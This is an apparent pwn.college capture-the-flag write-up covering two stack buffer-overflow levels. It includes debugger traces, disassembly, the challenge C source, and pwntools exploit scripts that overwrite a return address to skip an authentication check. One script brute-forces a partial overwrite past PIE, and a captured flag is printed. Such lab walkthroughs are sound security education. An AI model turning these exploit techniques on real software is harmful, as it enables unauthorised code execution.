LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────────────────────────
RAX 0x7fff609e6740 ◂— 0
RBX 0x401980 (__libc_csu_init) ◂— endbr64
RCX 0
RDX 0x1000
RDI 0
RSI 0x7fff609e6740 ◂— 0
R8 0x26
R9 0x26
R10 0x40212c ◂— ' bytes)!\n'
R11 0x246
R12 0x401170 (_start) ◂— endbr64
R13 0x7fff609e78f0 ◂— 1
R14 0
R15 0
RBP 0x7fff609e67d0 —▸ 0x7fff609e7800 ◂— 0
RSP 0x7fff609e6720 ◂— 0x1c
RIP 0x40189d (challenge+237) ◂— call read@plt
─────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────────────────────────────
► 0x40189d <challenge+237> call read@plt <read@plt>
fd: 0 (/dev/pts/1)
buf: 0x7fff609e6740 ◂— 0
nbytes: 0x1000

b+ 0x4018a2 <challenge+242> mov dword ptr [rbp - 0xc], eax
0x4018a5 <challenge+245> cmp dword ptr [rbp - 0xc], 0
0x4018a9 <challenge+249> jns challenge+295 <challenge+295>

0x4018ab <challenge+251> call __errno_location@plt <__errno_location@plt>

0x4018b0 <challenge+256> mov eax, dword ptr [rax]
0x4018b2 <challenge+258> mov edi, eax
0x4018b4 <challenge+260> call strerror@plt <strerror@plt>

0x4018b9 <challenge+265> mov rsi, rax
0x4018bc <challenge+268> lea rdi, [rip + 0x875] RDI => 0x402138 ◂— 'ERROR: Failed to read input -- %s!\n'
0x4018c3 <challenge+275> mov eax, 0 EAX => 0
──────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fff609e6720 ◂— 0x1c
01:0008│-0a8 0x7fff609e6728 —▸ 0x7fff609e7908 —▸ 0x7fff609e86d2 ◂— 'SHELL=/run/dojo/bin/bash'
04:0020│ rax rsi 0x7fff609e6740 ◂— 0
... ↓ 3 skipped
────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────
► 0 0x40189d challenge+237
1 0x401970 main+134
2 0x7353a4be9083 __libc_start_main+243
3 0x40119e _start+46
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
  • Location of buffer: 0x7fff609e6740
  • Distance of return address to main() from the buffer
  • Address of instruction in win_authed() function which skips the checks

Cyclic pattern

Let's create a cyclic pattern.

pwndbg> cyclic 200
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa

Now let's set a breakpoint right after the read@plt, at challenge+242.

pwndbg> break *(challenge+242)
Breakpoint 2 at 0x4018a2
pwndbg> c
Continuing.
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa

Breakpoint 2, 0x00000000004018a2 in challenge ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────────────────────────
*RAX 0xc9
RBX 0x401980 (__libc_csu_init) ◂— endbr64
*RCX 0x7353a4cd31f2 (read+18) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x1000
RDI 0
RSI 0x7fff609e6740 ◂— 0x6161616161616161 ('aaaaaaaa')
R8 0x26
R9 0x26
R10 0x40212c ◂— ' bytes)!\n'
R11 0x246
R12 0x401170 (_start) ◂— endbr64
R13 0x7fff609e78f0 ◂— 1
R14 0
R15 0
RBP 0x7fff609e67d0 ◂— 0x6161616161616173 ('saaaaaaa')
RSP 0x7fff609e6720 ◂— 0x1c
*RIP 0x4018a2 (challenge+242) ◂— mov dword ptr [rbp - 0xc], eax
─────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────────────────────────────
b+ 0x40189d <challenge+237> call read@plt <read@plt>

► 0x4018a2 <challenge+242> mov dword ptr [rbp - 0xc], eax [0x7fff609e67c4] <= 0xc9
0x4018a5 <challenge+245> cmp dword ptr [rbp - 0xc], 0 0xc9 - 0x0 EFLAGS => 0x206 [ cf PF af zf sf IF df of ac ]
0x4018a9 <challenge+249> ✔ jns challenge+295 <challenge+295>

0x4018d7 <challenge+295> lea rdi, [rip + 0x87e] RDI => 0x40215c ◂— 'Goodbye!'
0x4018de <challenge+302> call puts@plt <puts@plt>

0x4018e3 <challenge+307> mov eax, 0 EAX => 0
0x4018e8 <challenge+312> leave
0x4018e9 <challenge+313> ret

0x4018ea <main> endbr64
0x4018ee <main+4> push rbp
──────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fff609e6720 ◂— 0x1c
01:0008│-0a8 0x7fff609e6728 —▸ 0x7fff609e7908 —▸ 0x7fff609e86d2 ◂— 'SHELL=/run/dojo/bin/bash'
02:0010│-0a0 0x7fff609e6730 —▸ 0x7fff609e78f8 —▸ 0x7fff609e86a2 ◂— '/challenge/binary-exploitation-control-hijack-2'
03:0018│-098 0x7fff609e6738 ◂— 0x100000000
04:0020│ rsi 0x7fff609e6740 ◂— 0x6161616161616161 ('aaaaaaaa')
05:0028│-088 0x7fff609e6748 ◂— 0x6161616161616162 ('baaaaaaa')
06:0030│-080 0x7fff609e6750 ◂— 0x6161616161616163 ('caaaaaaa')
07:0038│-078 0x7fff609e6758 ◂— 0x6161616161616164 ('daaaaaaa')
────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────
► 0 0x4018a2 challenge+242
1 0x6161616161616174 None
2 0x6161616161616175 None
3 0x6161616161616176 None
4 0x6161616161616177 None
5 0x6161616161616178 None
6 0x6161616161616179 None
7 0x100a None
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Looking at the dump, we can see that the rbp register has the value 0x6161616161616173 which in little endian ASCII is saaaaaaa.

Let's find the offset of this sub pattern in our cyclic pattern.

pwndbg> cyclic -l saaaaaaa
Finding cyclic pattern of 8 bytes: b'saaaaaaa' (hex: 0x7361616161616161)
Found at offset 144

If we increment the offset by 8, it will point to the saved return address.

Therefore the distance between the buffer and the saved return address is offset+8 which is equal to 152.

  • Location of buffer: 0x7fff609e6740
  • Distance of return address to main() from the buffer: 152
  • Address of instruction in win_authed() function which skips the checks

Now let's disassemble the win_authed() function and find the address of the instruction to jump to.

win_authed()

pwndbg> disassemble win_authed
Dump of assembler code for function win_authed:
0x0000000000401693 <+0>: endbr64
0x0000000000401697 <+4>: push rbp
0x0000000000401698 <+5>: mov rbp,rsp
0x000000000040169b <+8>: sub rsp,0x10
0x000000000040169f <+12>: mov DWORD PTR [rbp-0x4],edi
0x00000000004016a2 <+15>: cmp DWORD PTR [rbp-0x4],0x1337
0x00000000004016a9 <+22>: jne 0x4017ad <win_authed+282>
0x00000000004016af <+28>: lea rdi,[rip+0x952] # 0x402008
0x00000000004016b6 <+35>: call 0x4010e0 <puts@plt>
0x00000000004016bb <+40>: mov esi,0x0
0x00000000004016c0 <+45>: lea rdi,[rip+0x95d] # 0x402024
0x00000000004016c7 <+52>: mov eax,0x0
0x00000000004016cc <+57>: call 0x401140 <open@plt>
0x00000000004016d1 <+62>: mov DWORD PTR [rip+0x2969],eax # 0x404040 <flag_fd.5701>
0x00000000004016d7 <+68>: mov eax,DWORD PTR [rip+0x2963] # 0x404040 <flag_fd.5701>
0x00000000004016dd <+74>: test eax,eax
0x00000000004016df <+76>: jns 0x40172e <win_authed+155>
0x00000000004016e1 <+78>: call 0x4010d0 <__errno_location@plt>
0x00000000004016e6 <+83>: mov eax,DWORD PTR [rax]
0x00000000004016e8 <+85>: mov edi,eax
0x00000000004016ea <+87>: call 0x401160 <strerror@plt>
0x00000000004016ef <+92>: mov rsi,rax
0x00000000004016f2 <+95>: lea rdi,[rip+0x937] # 0x402030
0x00000000004016f9 <+102>: mov eax,0x0
0x00000000004016fe <+107>: call 0x401100 <printf@plt>
0x0000000000401703 <+112>: call 0x401110 <geteuid@plt>
0x0000000000401708 <+117>: test eax,eax
0x000000000040170a <+119>: je 0x401724 <win_authed+145>
0x000000000040170c <+121>: lea rdi,[rip+0x94d] # 0x402060
0x0000000000401713 <+128>: call 0x4010e0 <puts@plt>
0x0000000000401718 <+133>: lea rdi,[rip+0x969] # 0x402088
0x000000000040171f <+140>: call 0x4010e0 <puts@plt>
0x0000000000401724 <+145>: mov edi,0xffffffff
0x0000000000401729 <+150>: call 0x401150 <exit@plt>
0x000000000040172e <+155>: mov eax,DWORD PTR [rip+0x290c] # 0x404040 <flag_fd.5701>
0x0000000000401734 <+161>: mov edx,0x100
0x0000000000401739 <+166>: lea rsi,[rip+0x2920] # 0x404060 <flag.5700>
0x0000000000401740 <+173>: mov edi,eax
0x0000000000401742 <+175>: call 0x401120 <read@plt>
0x0000000000401747 <+180>: mov DWORD PTR [rip+0x2a13],eax # 0x404160 <flag_length.5702>
0x000000000040174d <+186>: mov eax,DWORD PTR [rip+0x2a0d] # 0x404160 <flag_length.5702>
0x0000000000401753 <+192>: test eax,eax
0x0000000000401755 <+194>: jg 0x401783 <win_authed+240>
0x0000000000401757 <+196>: call 0x4010d0 <__errno_location@plt>
0x000000000040175c <+201>: mov eax,DWORD PTR [rax]
0x000000000040175e <+203>: mov edi,eax
0x0000000000401760 <+205>: call 0x401160 <strerror@plt>
0x0000000000401765 <+210>: mov rsi,rax
0x0000000000401768 <+213>: lea rdi,[rip+0x971] # 0x4020e0
0x000000000040176f <+220>: mov eax,0x0
0x0000000000401774 <+225>: call 0x401100 <printf@plt>
0x0000000000401779 <+230>: mov edi,0xffffffff
0x000000000040177e <+235>: call 0x401150 <exit@plt>
0x0000000000401783 <+240>: mov eax,DWORD PTR [rip+0x29d7] # 0x404160 <flag_length.5702>
0x0000000000401789 <+246>: cdqe
0x000000000040178b <+248>: mov rdx,rax
0x000000000040178e <+251>: lea rsi,[rip+0x28cb] # 0x404060 <flag.5700>
0x0000000000401795 <+258>: mov edi,0x1
0x000000000040179a <+263>: call 0x4010f0 <write@plt>
0x000000000040179f <+268>: lea rdi,[rip+0x964] # 0x40210a
0x00000000004017a6 <+275>: call 0x4010e0 <puts@plt>
0x00000000004017ab <+280>: jmp 0x4017ae <win_authed+283>
0x00000000004017ad <+282>: nop
0x00000000004017ae <+283>: leave
0x00000000004017af <+284>: ret
End of assembler dump.

We can see that the check is being performed at address win_authed+15, or 0x4016a2.

Thus, we can jump right after that at address 0x4016a9.

  • Location of buffer: 0x7fff609e6740
  • Distance of return address to main() from the buffer: 152
  • Address of instruction in win_authed() function which skips the checks: 0x4016a9

Exploit

~/script.py
from pwn import *

padding = b'A' * 152
payload = padding + p64(0x4016a9)

p = process('/challenge/binary-exploitation-control-hijack-2')
p.recvuntil('bytes)!')
p.send(payload)
output = p.recvall(timeout=2)
print(output.decode(errors='ignore'))
p.close()
hacker@binary-exploitation~tricky-control-hijack-hard:/$ python ~/script.py 
[+] Starting local process '/challenge/binary-exploitation-control-hijack-2': pid 14062
/home/hacker/script.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil('bytes)!')
[+] Receiving all data: Done (97B)
[*] Process '/challenge/binary-exploitation-control-hijack-2' stopped with exit code -7 (SIGBUS) (pid 14062)

Goodbye!
You win! Here is your flag:
pwn.college{k4nqHuPZSHTs9PkcVjkXZdAv34V.0FMwMDL4ITM0EzW}

 

PIEs (easy)

Source code

/challenge/binary-exploitation-pie-overflow-w.c
#define _GNU_SOURCE 1

#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <assert.h>
#include <libgen.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/sendfile.h>
#include <sys/prctl.h>
#include <sys/personality.h>
#include <arpa/inet.h>

uint64_t sp_;
uint64_t bp_;
uint64_t sz_;
uint64_t cp_;
uint64_t cv_;
uint64_t si_;
uint64_t rp_;

#define GET_SP(sp) asm volatile ("mov %0, rsp" : "=r"(sp) : : );
#define GET_BP(bp) asm volatile ("mov %0, rbp" : "=r"(bp) : : );
#define GET_CANARY(cn) asm volatile ("mov %0, QWORD PTR [fs:0x28]" : "=r"(cn) : : );
#define GET_FRAME_WORDS(sz_, sp, bp, rp_) GET_SP(sp); GET_BP(bp); sz_ = (bp-sp)/8+2; rp_ = bp+8;
#define FIND_CANARY(cnp, cv, start) \
{ \
cnp = start; \
GET_CANARY(cv); \
while (*(uint64_t *)cnp != cv) cnp = (uint64_t)cnp - 8; \
}

void DUMP_STACK(uint64_t sp, uint64_t n)
{
printf("+---------------------------------+-------------------------+--------------------+\n");
printf("| %31s | %23s | %18s |\n", "Stack location", "Data (bytes)", "Data (LE int)");
printf("+---------------------------------+-------------------------+--------------------+\n");
for (si_ = 0; si_ < n; si_++)
{
printf("| 0x%016lx (rsp+0x%04x) | %02x %02x %02x %02x %02x %02x %02x %02x | 0x%016lx |\n",
sp+8*si_, 8*si_,
*(uint8_t *)(sp+8*si_+0), *(uint8_t *)(sp+8*si_+1), *(uint8_t *)(sp+8*si_+2), *(uint8_t *)(sp+8*si_+3),
*(uint8_t *)(sp+8*si_+4), *(uint8_t *)(sp+8*si_+5), *(uint8_t *)(sp+8*si_+6), *(uint8_t *)(sp+8*si_+7),
*(uint64_t *)(sp+8*si_)
);
}
printf("+---------------------------------+-------------------------+--------------------+\n");
}

void bin_padding()
{
asm volatile (".rept 1784; nop; .endr");
}

void win_authed(int token)
{
static char flag[256];
static int flag_fd;
static int flag_length;

if (token != 0x1337) return;

puts("You win! Here is your flag:");
flag_fd = open("/flag", 0);
if (flag_fd < 0)
{
printf("\n ERROR: Failed to open the flag -- %s!\n", strerror(errno));
if (geteuid() != 0)
{
printf(" Your effective user id is not 0!\n");
printf(" You must directly run the suid binary in order to have the correct permissions!\n");
}
exit(-1);
}
flag_length = read(flag_fd, flag, sizeof(flag));
if (flag_length <= 0)
{
printf("\n ERROR: Failed to read the flag -- %s!\n", strerror(errno));
exit(-1);
}
write(1, flag, flag_length);
printf("\n\n");
}

int challenge(int argc, char **argv, char **envp)
{
struct
{
char input[73];
} data = {0} ;

unsigned long size = 0;

puts("The challenge() function has just been launched!");

GET_FRAME_WORDS(sz_, sp_, bp_, rp_);
puts("Before we do anything, let's take a look at challenge()'s stack frame:");
DUMP_STACK(sp_, sz_);
printf("Our stack pointer points to %p, and our base pointer points to %p.\n", sp_, bp_);
printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
printf("including the saved base pointer and the saved return address, for a\n");
printf("total of %d bytes.\n", sz_ * 8);
printf("The input buffer begins at %p, partway through the stack frame,\n", &data.input);
printf("(\"above\" it in the stack are other local variables used by the function).\n");
printf("Your input will be read into this buffer.\n");
printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 73);
printf("large input length, and thus overflow the buffer.\n\n");

printf("In this level, there is no \"win\" variable.\n");
printf("You will need to force the program to execute the win_authed() function\n");
printf("by directly overflowing into the stored return address back to main,\n");
printf("which is stored at %p, %d bytes after the start of your input buffer.\n", rp_, rp_ - (unsigned long) &data.input);
printf("That means that you will need to input at least %d bytes (%d to fill the buffer,\n", rp_ + 8 - (unsigned long) &data.input, 73);
printf("%d to fill other stuff stored between the buffer and the return address,\n", rp_ - (unsigned long) &data.input - 73);
printf("and 8 that will overwrite the return address).\n\n");

puts("We have disabled the following standard memory corruption mitigations for this challenge:");
puts("- the canary is disabled, otherwise you would corrupt it before");
puts("overwriting the return address, and the program would abort.");

size = 4096;

printf("You have chosen to send %lu bytes of input!\n", size);
printf("This will allow you to write from %p (the start of the input buffer)\n", &data.input);
printf("right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n", size + (unsigned long) &data.input, size - 73);

printf("Of these, you will overwrite %d bytes into the return address.\n", (long)((unsigned long) &data.input + size - rp_));
printf("If that number is greater than 8, you will overwrite the entire return address.\n\n");

puts("One caveat in this challenge is that the win_authed() function must first auth:");
puts("it only lets you win if you provide it with the argument 0x1337.");
puts("Speifically, the win_authed() function looks something like:");
puts(" void win_authed(int token)");
puts(" {");
puts(" if (token != 0x1337) return;");
puts(" puts(\"You win! Here is your flag: \");");
puts(" sendfile(1, open(\"/flag\", 0), 0, 256);");
puts(" puts(\"\");");
puts(" }");
puts("");

printf("So how do you pass the check? There *is* a way, and we will cover it later,\n");
printf("but for now, we will simply bypass it! You can overwrite the return address\n");
printf("with *any* value (as long as it points to executable code), not just the start\n");
printf("of functions. Let's overwrite past the token check in win!\n\n");

printf("To do this, we will need to analyze the program with objdump, identify where\n");
printf("the check is in the win_authed() function, find the address right after the check,\n");
printf("and write that address over the saved return address.\n\n");

printf("Go ahead and find this address now. When you're ready, input a buffer overflow\n");
printf("that will overwrite the saved return address (at %p, %d bytes into the buffer)\n", rp_, rp_ - (unsigned long)&data.input);
printf("with the correct value.\n\n");

printf("Send your payload (up to %lu bytes)!\n", size);
int received = read(0, &data.input, (unsigned long) size);

if (received < 0)
{
printf("ERROR: Failed to read input -- %s!\n", strerror(errno));
exit(1);
}

printf("You sent %d bytes!\n", received);

printf("Let's see what happened with the stack:\n\n");
DUMP_STACK(sp_, sz_);

printf("The program's memory status:\n");
printf("- the input buffer starts at %p\n", &data.input);
printf("- the saved frame pointer (of main) is at %p\n", bp_);
printf("- the saved return address (previously to main) is at %p\n", rp_);
printf("- the saved return address is now pointing to %p.\n", *(unsigned long*)(rp_));
printf("- the address of win_authed() is %p.\n", win_authed);
printf("\n");

printf("If you have managed to overwrite the return address with the correct value,\n");
printf("challenge() will jump straight to win_authed() when it returns.\n");
printf("Let's try it now!\n\n", 0);

if (received + ((unsigned long) &data.input) > rp_ + 2)
{
puts("WARNING: You sent in too much data, and overwrote more than two bytes of the address.");
puts(" This can still work, because I told you the correct address to use for");
puts(" this execution, but you should not rely on that information.");
puts(" You can solve this challenge by only overwriting two bytes!");
puts(" ");
}

puts("Goodbye!");

return 0;
}

int main(int argc, char **argv, char **envp)
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

char crash_resistance[0x1000];

challenge(argc, argv, envp);

}
hacker@binary-exploitation~pies-easy:/$ /challenge/binary-exploitation-pie-overflow-w
The challenge() function has just been launched!
Before we do anything, let's take a look at challenge()'s stack frame:
+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffd8c1fc780 (rsp+0x0000) | e8 14 02 00 00 00 00 00 | 0x00000000000214e8 |
| 0x00007ffd8c1fc788 (rsp+0x0008) | 38 d9 1f 8c fd 7f 00 00 | 0x00007ffd8c1fd938 |
| 0x00007ffd8c1fc790 (rsp+0x0010) | 28 d9 1f 8c fd 7f 00 00 | 0x00007ffd8c1fd928 |
| 0x00007ffd8c1fc798 (rsp+0x0018) | 25 d5 a2 32 01 00 00 00 | 0x0000000132a2d525 |
| 0x00007ffd8c1fc7a0 (rsp+0x0020) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd8c1fc7a8 (rsp+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd8c1fc7b0 (rsp+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd8c1fc7b8 (rsp+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd8c1fc7c0 (rsp+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd8c1fc7c8 (rsp+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd8c1fc7d0 (rsp+0x0050) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd8c1fc7d8 (rsp+0x0058) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd8c1fc7e0 (rsp+0x0060) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd8c1fc7e8 (rsp+0x0068) | 00 d8 1f 8c fd 7f 00 00 | 0x00007ffd8c1fd800 |
| 0x00007ffd8c1fc7f0 (rsp+0x0070) | a0 a1 9d 84 01 5d 00 00 | 0x00005d01849da1a0 |
| 0x00007ffd8c1fc7f8 (rsp+0x0078) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd8c1fc800 (rsp+0x0080) | 30 d8 1f 8c fd 7f 00 00 | 0x00007ffd8c1fd830 |
| 0x00007ffd8c1fc808 (rsp+0x0088) | 26 b3 9d 84 01 5d 00 00 | 0x00005d01849db326 |
+---------------------------------+-------------------------+--------------------+
Our stack pointer points to 0x7ffd8c1fc780, and our base pointer points to 0x7ffd8c1fc800.
This means that we have (decimal) 18 8-byte words in our stack frame,
including the saved base pointer and the saved return address, for a
total of 144 bytes.
The input buffer begins at 0x7ffd8c1fc7a0, partway through the stack frame,
("above" it in the stack are other local variables used by the function).
Your input will be read into this buffer.
The buffer is 73 bytes long, but the program will let you provide an arbitrarily
large input length, and thus overflow the buffer.

In this level, there is no "win" variable.
You will need to force the program to execute the win_authed() function
by directly overflowing into the stored return address back to main,
which is stored at 0x7ffd8c1fc808, 104 bytes after the start of your input buffer.
That means that you will need to input at least 112 bytes (73 to fill the buffer,
31 to fill other stuff stored between the buffer and the return address,
and 8 that will overwrite the return address).

We have disabled the following standard memory corruption mitigations for this challenge:
- the canary is disabled, otherwise you would corrupt it before
overwriting the return address, and the program would abort.
You have chosen to send 4096 bytes of input!
This will allow you to write from 0x7ffd8c1fc7a0 (the start of the input buffer)
right up to (but not including) 0x7ffd8c1fd7a0 (which is 4023 bytes beyond the end of the buffer).
Of these, you will overwrite 3992 bytes into the return address.
If that number is greater than 8, you will overwrite the entire return address.

One caveat in this challenge is that the win_authed() function must first auth:
it only lets you win if you provide it with the argument 0x1337.
Speifically, the win_authed() function looks something like:
void win_authed(int token)
{
if (token != 0x1337) return;
puts("You win! Here is your flag: ");
sendfile(1, open("/flag", 0), 0, 256);
puts("");
}

So how do you pass the check? There *is* a way, and we will cover it later,
but for now, we will simply bypass it! You can overwrite the return address
with *any* value (as long as it points to executable code), not just the start
of functions. Let's overwrite past the token check in win!

To do this, we will need to analyze the program with objdump, identify where
the check is in the win_authed() function, find the address right after the check,
and write that address over the saved return address.

Go ahead and find this address now. When you're ready, input a buffer overflow
that will overwrite the saved return address (at 0x7ffd8c1fc808, 104 bytes into the buffer)
with the correct value.

Send your payload (up to 4096 bytes)!

In this challenge we will have to brute force the two LSB bytes of the return address. Since the program has PIE enabled the addresses will be randomized.

hacker@binary-exploitation~pies-easy:/$ checksec /challenge/binary-exploitation-pie-overflow-w
[*] '/challenge/binary-exploitation-pie-overflow-w'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

Disassembly

Let's disassemble the win_authed() function.

hacker@binary-exploitation~pies-easy:/$ objdump -d -M intel --disassemble=win_authed /challenge/binary-exploitation-pie-overflow-w

/challenge/binary-exploitation-pie-overflow-w: file format elf64-x86-64


Disassembly of section .init:

Disassembly of section .plt:

Disassembly of section .plt.got:

Disassembly of section .plt.sec:

Disassembly of section .text:

0000000000001b8f <win_authed>:
1b8f: f3 0f 1e fa endbr64
1b93: 55 push rbp
1b94: 48 89 e5 mov rbp,rsp
1b97: 48 83 ec 10 sub rsp,0x10
1b9b: 89 7d fc mov DWORD PTR [rbp-0x4],edi
1b9e: 81 7d fc 37 13 00 00 cmp DWORD PTR [rbp-0x4],0x1337
1ba5: 0f 85 fe 00 00 00 jne 1ca9 <win_authed+0x11a>
1bab: 48 8d 3d 3e 15 00 00 lea rdi,[rip+0x153e] # 30f0 <_IO_stdin_used+0xf0>
1bb2: e8 59 f5 ff ff call 1110 <puts@plt>
1bb7: be 00 00 00 00 mov esi,0x0
1bbc: 48 8d 3d 49 15 00 00 lea rdi,[rip+0x1549] # 310c <_IO_stdin_used+0x10c>
1bc3: b8 00 00 00 00 mov eax,0x0
1bc8: e8 a3 f5 ff ff call 1170 <open@plt>
1bcd: 89 05 6d 44 00 00 mov DWORD PTR [rip+0x446d],eax # 6040 <flag_fd.5715>
1bd3: 8b 05 67 44 00 00 mov eax,DWORD PTR [rip+0x4467] # 6040 <flag_fd.5715>
1bd9: 85 c0 test eax,eax
1bdb: 79 4d jns 1c2a <win_authed+0x9b>
1bdd: e8 1e f5 ff ff call 1100 <__errno_location@plt>
1be2: 8b 00 mov eax,DWORD PTR [rax]
1be4: 89 c7 mov edi,eax
1be6: e8 a5 f5 ff ff call 1190 <strerror@plt>
1beb: 48 89 c6 mov rsi,rax
1bee: 48 8d 3d 23 15 00 00 lea rdi,[rip+0x1523] # 3118 <_IO_stdin_used+0x118>
1bf5: b8 00 00 00 00 mov eax,0x0
1bfa: e8 31 f5 ff ff call 1130 <printf@plt>
1bff: e8 3c f5 ff ff call 1140 <geteuid@plt>
1c04: 85 c0 test eax,eax
1c06: 74 18 je 1c20 <win_authed+0x91>
1c08: 48 8d 3d 39 15 00 00 lea rdi,[rip+0x1539] # 3148 <_IO_stdin_used+0x148>
1c0f: e8 fc f4 ff ff call 1110 <puts@plt>
1c14: 48 8d 3d 55 15 00 00 lea rdi,[rip+0x1555] # 3170 <_IO_stdin_used+0x170>
1c1b: e8 f0 f4 ff ff call 1110 <puts@plt>
1c20: bf ff ff ff ff mov edi,0xffffffff
1c25: e8 56 f5 ff ff call 1180 <exit@plt>
1c2a: 8b 05 10 44 00 00 mov eax,DWORD PTR [rip+0x4410] # 6040 <flag_fd.5715>
1c30: ba 00 01 00 00 mov edx,0x100
1c35: 48 8d 35 24 44 00 00 lea rsi,[rip+0x4424] # 6060 <flag.5714>
1c3c: 89 c7 mov edi,eax
1c3e: e8 0d f5 ff ff call 1150 <read@plt>
1c43: 89 05 17 45 00 00 mov DWORD PTR [rip+0x4517],eax # 6160 <flag_length.5716>
1c49: 8b 05 11 45 00 00 mov eax,DWORD PTR [rip+0x4511] # 6160 <flag_length.5716>
1c4f: 85 c0 test eax,eax
1c51: 7f 2c jg 1c7f <win_authed+0xf0>
1c53: e8 a8 f4 ff ff call 1100 <__errno_location@plt>
1c58: 8b 00 mov eax,DWORD PTR [rax]
1c5a: 89 c7 mov edi,eax
1c5c: e8 2f f5 ff ff call 1190 <strerror@plt>
1c61: 48 89 c6 mov rsi,rax
1c64: 48 8d 3d 5d 15 00 00 lea rdi,[rip+0x155d] # 31c8 <_IO_stdin_used+0x1c8>
1c6b: b8 00 00 00 00 mov eax,0x0
1c70: e8 bb f4 ff ff call 1130 <printf@plt>
1c75: bf ff ff ff ff mov edi,0xffffffff
1c7a: e8 01 f5 ff ff call 1180 <exit@plt>
1c7f: 8b 05 db 44 00 00 mov eax,DWORD PTR [rip+0x44db] # 6160 <flag_length.5716>
1c85: 48 98 cdqe
1c87: 48 89 c2 mov rdx,rax
1c8a: 48 8d 35 cf 43 00 00 lea rsi,[rip+0x43cf] # 6060 <flag.5714>
1c91: bf 01 00 00 00 mov edi,0x1
1c96: e8 85 f4 ff ff call 1120 <write@plt>
1c9b: 48 8d 3d 50 15 00 00 lea rdi,[rip+0x1550] # 31f2 <_IO_stdin_used+0x1f2>
1ca2: e8 69 f4 ff ff call 1110 <puts@plt>
1ca7: eb 01 jmp 1caa <win_authed+0x11b>
1ca9: 90 nop
1caa: c9 leave
1cab: c3 ret

Disassembly of section .fini:

We have to directly jump to the instruction right after that, which is 1ba5.

ASLR bypass

Even if ASLR is enabled, the last 3 nibbles are still fixed, as, in x86_64 a page is a 0x1000 byte slice of memory which is 0x1000 byte aligned.

In the disassembly, we can see that the address of the win_authed() function is at an offset of 0x1ba5 from the page start. This means, the ba5 part will be constant always.

Knowing this, we can keep the LSB constant as the last two nibbles will be accounted for in it. However, in the second LSB, one nibble would be constant, and the other would vary.

## ASLR_BASE:                0x00005fda8a580000
## win_authed() offset: 0x1ba5
=> Final address: 0x00005fda8a581ba5

## ASLR_BASE: 0x00005fda8a581000
## win_authed() offset: 0x1ba5
=> Final address: 0x00005fda8a582ba5

If we overwrite the last two bytes of the return address, there is a chance that last two bytes will be the same as the offset of win_authed(). Some brute-forcing will be required in this challenge.

Exploit

~/script.py
from pwn import *

padding = b"A" * 104
payload = padding + b"\xa5\x1b"

attempt = 0

while True:
attempt += 1
print(f"[+] Attempt {attempt}")

p = process('/challenge/binary-exploitation-pie-overflow-w')
try:
p.recvuntil("bytes)!")
p.send(payload)
output = p.recvall(timeout=1).decode(errors="ignore")

if "pwn.college{" in output:
print("[!!!] FLAG FOUND !!!")
print(output)
break

except Exception:
pass
finally:
p.close()
hacker@binary-exploitation~pies-easy:/$ python ~/script.py 
